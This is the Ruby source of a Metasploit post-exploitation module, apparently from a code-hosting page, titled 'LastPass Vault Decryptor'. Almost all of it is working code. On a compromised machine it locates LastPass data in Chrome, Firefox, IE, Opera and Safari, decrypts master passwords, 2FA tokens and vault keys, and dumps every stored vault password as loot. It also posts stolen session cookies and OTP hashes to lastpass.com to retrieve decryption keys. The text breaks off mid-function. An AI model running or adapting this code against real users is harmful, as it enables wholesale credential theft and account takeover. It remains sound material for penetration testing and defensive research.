810 lines
34 KiB
Ruby
810 lines
34 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'sqlite3'
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require 'uri'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Windows::UserProfiles
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include Msf::Post::OSX::System
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include Msf::Post::Unix
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'LastPass Vault Decryptor',
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'Description' => %q{
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This module extracts and decrypts LastPass master login accounts and passwords,
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encryption keys, 2FA tokens and all the vault passwords
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
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'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
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'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
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],
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'Platform' => %w(linux osx unix win),
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'References' =>
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[
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[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
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],
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'SessionTypes' => %w(meterpreter shell)
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))
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end
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def run
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if session.platform == 'windows' && session.type == "shell" # No Windows shell support
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print_error "Shell sessions on Windows are not supported"
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return
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end
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print_status "Searching for LastPass databases"
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account_map = build_account_map
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if account_map.empty?
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print_status "No databases found"
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return
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end
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print_status "Extracting credentials"
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extract_credentials(account_map)
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print_status "Extracting 2FA tokens"
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extract_2fa_tokens(account_map)
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print_status "Extracting vault and iterations"
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extract_vault_and_iterations(account_map)
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print_status "Extracting encryption keys"
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extract_vault_keys(account_map)
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print_lastpass_data(account_map)
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end
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# Returns a mapping of lastpass accounts
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def build_account_map
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profiles = user_profiles
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account_map = {}
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profiles.each do |user_profile|
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account = user_profile['UserName']
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browser_path_map = {}
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localstorage_path_map = {}
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cookies_path_map = {}
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case session.platform
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when 'windows'
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browser_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
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'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
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'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
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'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
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}
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localstorage_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
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'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
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'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
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'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
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}
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cookies_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
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'Firefox' => "", # It's set programmatically
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'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
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'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
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}
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when 'unix', 'linux'
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browser_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
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'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
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'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
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}
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localstorage_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
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'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
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'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
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}
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cookies_path_map = { # TODO
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'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
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'Firefox' => "", # It's set programmatically
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'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
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}
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when 'osx'
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browser_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
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'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
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'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
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'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
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}
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localstorage_path_map = {
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'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
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'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
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'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
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'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
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}
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cookies_path_map = { # TODO
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'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
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'Firefox' => "", # It's set programmatically
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'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
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'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
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}
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else
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print_error "Platform not recognized: #{session.platform}"
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end
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account_map[account] = {}
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browser_path_map.each_pair do |browser, path|
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account_map[account][browser] = {}
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db_paths = find_db_paths(path, browser, account)
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if db_paths && db_paths.size > 0
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account_map[account][browser]['lp_db_path'] = db_paths.first
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account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
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account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
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account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
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else
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account_map[account].delete(browser)
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end
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end
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end
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account_map
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end
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# Returns a list of DB paths found in the victims' machine
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def find_db_paths(path, browser, account)
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paths = []
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vprint_status "Checking #{account}'s #{browser}"
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if browser == "IE" # Special case for IE
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data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers")
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data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") if data.blank?
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paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access)
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elsif browser == "Firefox" # Special case for Firefox
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paths |= firefox_profile_files(path)
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else
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paths |= file_paths(path)
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end
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vprint_good "Found #{paths.size} #{browser} databases for #{account}"
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paths
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end
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# Returns the relevant information from user profiles
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def user_profiles
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user_profiles = []
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case session.platform
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when /unix|linux/
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user_names = dir("/home")
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user_names.reject! { |u| %w(. ..).include?(u) }
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user_names.each do |user_name|
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user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}")
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end
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when /osx/
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user_names = session.shell_command("ls /Users").split
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user_names.reject! { |u| u == 'Shared' }
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user_names.each do |user_name|
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user_profiles.push(
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'UserName' => user_name,
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"AppData" => "/Users/#{user_name}/Library",
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"LocalAppData" => "/Users/#{user_name}/Library/Application Support"
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)
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end
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when /windows/
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user_profiles |= grab_user_profiles
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else
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print_error "OS not recognized: #{session.platform}"
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end
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user_profiles
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end
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# Extracts the databases paths from the given folder ignoring . and ..
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def file_paths(path)
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found_dbs_paths = []
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files = []
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files = dir(path) if directory?(path)
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files.each do |file_path|
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unless %w(. .. Shared).include?(file_path)
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found_dbs_paths.push([path, file_path].join(system_separator))
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end
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end
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found_dbs_paths
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end
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# Returns the profile files for Firefox
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def firefox_profile_files(path)
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found_dbs_paths = []
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if directory?(path)
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files = dir(path)
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files.reject! { |file| %w(. ..).include?(file) }
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files.each do |file_path|
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found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
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end
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end
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[found_dbs_paths]
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end
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# Parses the Firefox preferences file and returns encoded credentials
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def ie_firefox_credentials(prefs_path, localstorage_db_path)
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credentials = []
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data = nil
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if prefs_path.nil? # IE
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data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers")
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data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") if data.blank?
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return [] if data.blank?
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usernames = data.split("|")
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usernames.each do |username|
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credentials << [username, nil]
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end
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# Extract master passwords
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data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws")
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data = Rex::Text.encode_base64(data) unless data.blank?
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else # Firefox
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loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file")
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return [] unless loot_path
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File.readlines(loot_path).each do |line|
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if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
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usernames = encoded_users.split("|")
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usernames.each do |username|
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credentials << [username, nil]
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end
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break
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end
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end
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# Extract master passwords
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path = localstorage_db_path + system_separator + "lp.loginpws"
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data = read_remote_file(path) if file?(path) # Read file if it exists
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end
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# Get encrypted master passwords
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data = windows_unprotect(data) if data != nil && data.match(/^AQAAA.+/) # Verify Windows protection
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return credentials if data.blank? # No passwords stored
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creds_per_user = data.split("|")
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creds_per_user.each_with_index do |user_creds, index|
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parts = user_creds.split('=')
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for creds in credentials
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creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
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end
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end
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credentials
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end
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def decrypt_data(key, encrypted_data)
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return nil if encrypted_data.blank?
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if encrypted_data.include?("|") # Use CBC
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decipher = OpenSSL::Cipher.new("AES-256-CBC")
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decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
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encrypted_data = encrypted_data[26..-1] # Take only the data part
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else # Use ECB
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decipher = OpenSSL::Cipher.new("AES-256-ECB")
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end
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begin
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decipher.decrypt
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decipher.key = key
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decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
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rescue OpenSSL::Cipher::CipherError => e
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vprint_error "Data could not be decrypted. #{e.message}"
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end
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decrypted_data
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end
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def extract_credentials(account_map)
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account_map.each_pair do |account, browser_map|
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browser_map.each_pair do |browser, lp_data|
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account_map[account][browser]['lp_creds'] = {}
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if browser.match(/Firefox|IE/)
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if browser == "Firefox"
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ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
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else # IE
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ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
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end
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unless ieffcreds.blank?
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ieffcreds.each do |creds|
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if creds[1].blank? # No master password found
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account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil }
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else
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sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
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sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
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creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
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account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] }
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end
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end
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end
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else # Chrome, Safari and Opera
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loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", "application/x-sqlite3", "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
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account_map[account][browser]['lp_db_loot'] = loot_path
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next if loot_path.blank?
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# Parsing/Querying the DB
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db = SQLite3::Database.new(loot_path)
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result = db.execute(
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"SELECT username, password FROM LastPassSavedLogins2 " \
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"WHERE username IS NOT NULL AND username != '' " \
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)
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for row in result
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if row[0]
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sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
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sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
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row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
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account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
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end
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end
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end
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end
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end
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end
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# Extracts the 2FA token from localStorage
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def extract_2fa_tokens(account_map)
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account_map.each_pair do |account, browser_map|
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browser_map.each_pair do |browser, lp_data|
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if browser.match(/Firefox|IE/)
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path = lp_data['localstorage_db'] + system_separator + "lp.suid"
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data = read_remote_file(path) if file?(path) # Read file if it exists
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data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection
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loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
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account_map[account][browser]['lp_2fa'] = data
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else # Chrome, Safari and Opera
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loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
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unless loot_path.blank?
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db = SQLite3::Database.new(loot_path)
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token = db.execute(
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"SELECT hex(value) FROM ItemTable " \
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"WHERE key = 'lp.uid';"
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).flatten
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end
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token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
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end
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end
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end
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end
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# Print all extracted LastPass data
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def print_lastpass_data(account_map)
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lastpass_data_table = Rex::Text::Table.new(
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'Header' => "LastPass Accounts",
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'Indent' => 1,
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'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key)
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)
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account_map.each_pair do |account, browser_map|
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browser_map.each_pair do |browser, lp_data|
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lp_data['lp_creds'].each_pair do |username, user_data|
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lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
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end
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end
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end
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unless account_map.empty?
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print_good lastpass_data_table.to_s
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loot_file(nil, lastpass_data_table.to_csv, "lastpass.data", "text/csv", "LastPass Data")
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print_vault_passwords(account_map)
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end
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end
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def extract_vault_and_iterations(account_map)
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account_map.each_pair do |account, browser_map|
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browser_map.each_pair do |browser, lp_data|
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lp_data['lp_creds'].each_pair do |username, user_data|
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if browser.match(/Firefox|IE/)
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if browser == "Firefox"
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iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
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vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml"
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else # IE
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iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr"
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vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml"
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end
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iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
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iterations = nil if iterations.blank? # Verify content
|
|
lp_data['lp_creds'][username]['iterations'] = iterations
|
|
|
|
# Find encrypted vault
|
|
vault = read_remote_file(vault_path)
|
|
vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection
|
|
vault = vault.sub(/iterations=.*;/, "") if file?(vault_path) # Remove iterations info
|
|
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
|
|
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
|
|
|
else # Chrome, Safari and Opera
|
|
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
|
result = db.execute(
|
|
"SELECT data FROM LastPassData " \
|
|
"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
|
|
)
|
|
|
|
if result.size == 1 && !result[0].blank?
|
|
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
|
|
lp_data['lp_creds'][username]['iterations'] = iterations
|
|
else
|
|
lp_data['lp_creds'][username]['iterations'] = 1
|
|
end
|
|
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
|
|
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
|
else
|
|
lp_data['lp_creds'][username]['iterations'] = nil
|
|
lp_data['lp_creds'][username]['vault_loot'] = nil
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def extract_vault_keys(account_map)
|
|
account_map.each_pair do |account, browser_map|
|
|
browser_map.each_pair do |browser, lp_data|
|
|
browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
|
|
lp_data['lp_creds'].each_pair do |username, user_data|
|
|
if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials
|
|
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
|
|
else # Get vault key decrypting the locally stored one or from the disabled OTP
|
|
unless browser_checked
|
|
decrypt_local_vault_key(account, browser_map)
|
|
browser_checked = true
|
|
end
|
|
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
|
|
otpbin = extract_otpbin(browser, username, lp_data)
|
|
otpbin.blank? ? next : otpbin = otpbin[0..31]
|
|
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
# Decrypt the locally stored vault key
|
|
def decrypt_local_vault_key(account, browser_map)
|
|
data = nil
|
|
session_cookie_value = nil
|
|
|
|
browser_map.each_pair do |browser, lp_data|
|
|
if browser == "IE" && directory?(lp_data['cookies_db'])
|
|
cookies_files = dir(lp_data['cookies_db'])
|
|
cookies_files.reject! { |u| %w(. ..).include?(u) }
|
|
cookies_files.each do |cookie_jar_file|
|
|
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
|
|
next if data.blank?
|
|
if /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
|
|
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB")
|
|
session_cookie_value = session_cookie_value_match
|
|
break
|
|
end
|
|
end
|
|
else
|
|
case browser
|
|
when /Chrome/
|
|
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
|
|
when "Opera"
|
|
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
|
|
when "Firefox"
|
|
query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
|
|
else
|
|
vprint_error "Browser #{browser} not supported for cookies"
|
|
next
|
|
end
|
|
# Parsing/Querying the DB
|
|
loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB")
|
|
next if loot_path.blank?
|
|
db = SQLite3::Database.new(loot_path)
|
|
begin
|
|
result = db.execute(query)
|
|
rescue SQLite3::SQLException => e
|
|
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
|
|
next
|
|
end
|
|
next if result.blank? # No session cookie found for this browser
|
|
session_cookie_value = result[0][0]
|
|
end
|
|
return if session_cookie_value.blank?
|
|
|
|
# Check if cookie value needs to be decrypted
|
|
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
|
|
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
|
|
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
|
|
begin
|
|
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
|
decipher.decrypt
|
|
decipher.key = OpenSSL::Digest::SHA256.hexdigest("peanuts")
|
|
decipher.iv = " " * 16
|
|
session_cookie_value = session_cookie_value[3..-1] # Discard v10
|
|
session_cookie_value = decipher.update(session_cookie_value) + decipher.final
|
|
rescue OpenSSL::Cipher::CipherError => e
|
|
print_error "Cookie could not be decrypted. #{e.message}"
|
|
end
|
|
end
|
|
|
|
# Use the cookie to obtain the encryption key to decrypt the vault key
|
|
uri = URI('https://lastpass.com/login_check.php')
|
|
request = Net::HTTP::Post.new(uri)
|
|
request.set_form_data("wxsessid" => URI.unescape(session_cookie_value), "uuid" => browser_map['lp_2fa'])
|
|
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
|
|
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
|
|
|
|
# Parse response
|
|
next unless response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired
|
|
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1])
|
|
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
|
|
|
|
# Get the local encrypted vault key
|
|
encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)
|
|
|
|
# Decrypt the local stored key
|
|
lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack("H*"), encrypted_vault_key)
|
|
end
|
|
end
|
|
|
|
# Returns otp, encrypted_key
|
|
def extract_otpbin(browser, username, lp_data)
|
|
if browser.match(/Firefox|IE/)
|
|
if browser == "Firefox"
|
|
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
|
|
else # IE
|
|
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp"
|
|
end
|
|
otpbin = read_remote_file(path) if file?(path) # Read file if it exists
|
|
otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/)
|
|
return otpbin
|
|
else # Chrome, Safari and Opera
|
|
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
|
result = db.execute(
|
|
"SELECT type, data FROM LastPassData " \
|
|
"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
|
|
)
|
|
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack("H*")
|
|
end
|
|
end
|
|
|
|
def derive_vault_key_from_creds(username, password, key_iteration_count)
|
|
if key_iteration_count == 1
|
|
key = Digest::SHA256.hexdigest username + password
|
|
else
|
|
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
|
|
end
|
|
key
|
|
end
|
|
|
|
def decrypt_vault_key_with_otp(username, otpbin)
|
|
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
|
|
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
|
|
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
|
|
end
|
|
|
|
def retrieve_encrypted_vault_key_with_otp username, otpbin
|
|
# Derive login hash from otp
|
|
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
|
|
|
|
# Make request to LastPass
|
|
uri = URI('https://lastpass.com/otp.php')
|
|
request = Net::HTTP::Post.new(uri)
|
|
request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token)
|
|
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
|
|
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
|
|
|
|
# Parse response
|
|
encrypted_vault_key = nil
|
|
if response.body.match(/randkey\="(.*)"/)
|
|
encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1]
|
|
end
|
|
encrypted_vault_key
|
|
end
|
|
|
|
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
|
|
def lastpass_sha256(input)
|
|
output = ""
|
|
|
|
input = input.gsub("\r\n", "\n")
|
|
|
|
input.each_byte do |e|
|
|
if 128 > e
|
|
output += e.chr
|
|
else
|
|
if (127 < e && 2048 > e)
|
|
output += (e >> 6 | 192).chr
|
|
output += (e & 63 | 128).chr
|
|
else
|
|
output += (e >> 12 | 224).chr
|
|
output += (e >> 6 & 63 | 128).chr
|
|
end
|
|
end
|
|
end
|
|
|
|
OpenSSL::Digest::SHA256.hexdigest(output)
|
|
end
|
|
|
|
def pbkdf2(password, salt, iterations, key_length)
|
|
digest = OpenSSL::Digest::SHA256.new
|
|
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
|
|
end
|
|
|
|
def windows_unprotect(data)
|
|
data = Rex::Text.decode_base64(data)
|
|
rg = session.railgun
|
|
pid = session.sys.process.getpid
|
|
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
mem = process.memory.allocate(data.length + 200)
|
|
process.memory.write(mem, data)
|
|
|
|
if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86"
|
|
addr = [mem].pack("V")
|
|
len = [data.length].pack("V")
|
|
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
|
len, addr = ret["pDataOut"].unpack("V2")
|
|
else
|
|
addr = Rex::Text.pack_int64le(mem)
|
|
len = Rex::Text.pack_int64le(data.length)
|
|
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
|
|
pData = ret["pDataOut"].unpack("VVVV")
|
|
len = pData[0] + (pData[1] << 32)
|
|
addr = pData[2] + (pData[3] << 32)
|
|
end
|
|
|
|
return "" if len == 0
|
|
process.memory.read(addr, len)
|
|
end
|
|
|
|
def print_vault_passwords(account_map)
|
|
account_map.each_pair do |account, browser_map|
|
|
browser_map.each_pair do |browser, lp_data|
|
|
lp_data['lp_creds'].each_pair do |username, user_data|
|
|
lastpass_vault_data_table = Rex::Text::Table.new(
|
|
'Header' => "Decrypted vault from #{username}",
|
|
'Indent' => 1,
|
|
'Columns' => %w(URL Username Password)
|
|
)
|
|
if user_data['vault_loot'].nil? # Was a vault found?
|
|
print_error "No vault was found for #{username}"
|
|
next
|
|
end
|
|
encoded_vault = File.read(user_data['vault_loot'])
|
|
if encoded_vault[0] == "!" # Vault is double encrypted
|
|
encoded_vault = decrypt_data([user_data['vault_key']].pack("H*"), encoded_vault)
|
|
if encoded_vault.blank?
|
|
print_error "Vault from #{username} could not be decrypted"
|
|
next
|
|
else
|
|
encoded_vault = encoded_vault.sub("LPB64", "")
|
|
end
|
|
end
|
|
|
|
# Parse vault
|
|
vault = Rex::Text.decode_base64(encoded_vault)
|
|
vault.scan(/ACCT/) do |result|
|
|
chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1] + 3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk
|
|
chunk = vault[$~.offset(0)[0]..$~.offset(0)[1] + chunk_length] # Get ACCT chunk
|
|
account_data = parse_vault_account(chunk, user_data['vault_key'])
|
|
lastpass_vault_data_table << account_data if account_data != nil
|
|
end
|
|
|
|
unless account_map.empty? # Loot passwords
|
|
if lastpass_vault_data_table.rows.empty?
|
|
print_status('No decrypted vaults.')
|
|
else
|
|
print_good lastpass_vault_data_table.to_s
|
|
end
|
|
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", "text/csv", "LastPass Vault Passwords from #{username}")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def parse_vault_account(chunk, vault_key)
|
|
pointer = 22 # Starting position to find data to decrypt
|
|
labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"]
|
|
vault_data = []
|
|
for label in labels
|
|
if chunk[pointer..pointer + 3].nil?
|
|
# Out of bound read
|
|
return nil
|
|
end
|
|
|
|
length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16)
|
|
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
|
|
label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
|
|
decrypted_data = "" if decrypted_data.nil?
|
|
vault_data << decrypted_data if (label == "url" || label == "username" || label == "password")
|
|
pointer = pointer + 4 + length
|
|
end
|
|
|
|
return vault_data[0] == "http://sn" ? nil : vault_data # TODO: Support secure notes
|
|
end
|
|
|
|
def decrypt_vault_password(key, encrypted_data)
|
|
return nil if key.blank? || encrypted_data.blank?
|
|
|
|
if encrypted_data[0] == "!" # Apply CBC
|
|
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
|
decipher.iv = encrypted_data[1, 16] # Discard !
|
|
encrypted_data = encrypted_data[17..-1]
|
|
else # Apply ECB
|
|
decipher = OpenSSL::Cipher.new("AES-256-ECB")
|
|
end
|
|
decipher.decrypt
|
|
decipher.key = [key].pack "H*"
|
|
|
|
begin
|
|
return decipher.update(encrypted_data) + decipher.final
|
|
rescue OpenSSL::Cipher::CipherError
|
|
vprint_error "Vault password could not be decrypted with key #{key}"
|
|
return nil
|
|
end
|
|
end
|
|
|
|
# Reads a remote file and loots it
|
|
def loot_file(path, data, title, type, description)
|
|
data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
|
|
return nil if data.nil?
|
|
|
|
loot_path = store_loot(
|
|
title,
|
|
type,
|
|
session,
|
|
data,
|
|
nil,
|
|
description
|
|
)
|
|
loot_path
|
|
end
|
|
|
|
# Reads a remote file and returns the data
|
|
def read_remote_file(path)
|
|
data = nil
|
|
|
|
begin
|
|
data = read_file(path)
|
|
rescue EOFError
|
|
vprint_error "Error reading file #{path} It could be empty"
|
|
end
|
|
data
|
|
end
|
|
|
|
def read_registry_key_value(key, value)
|
|
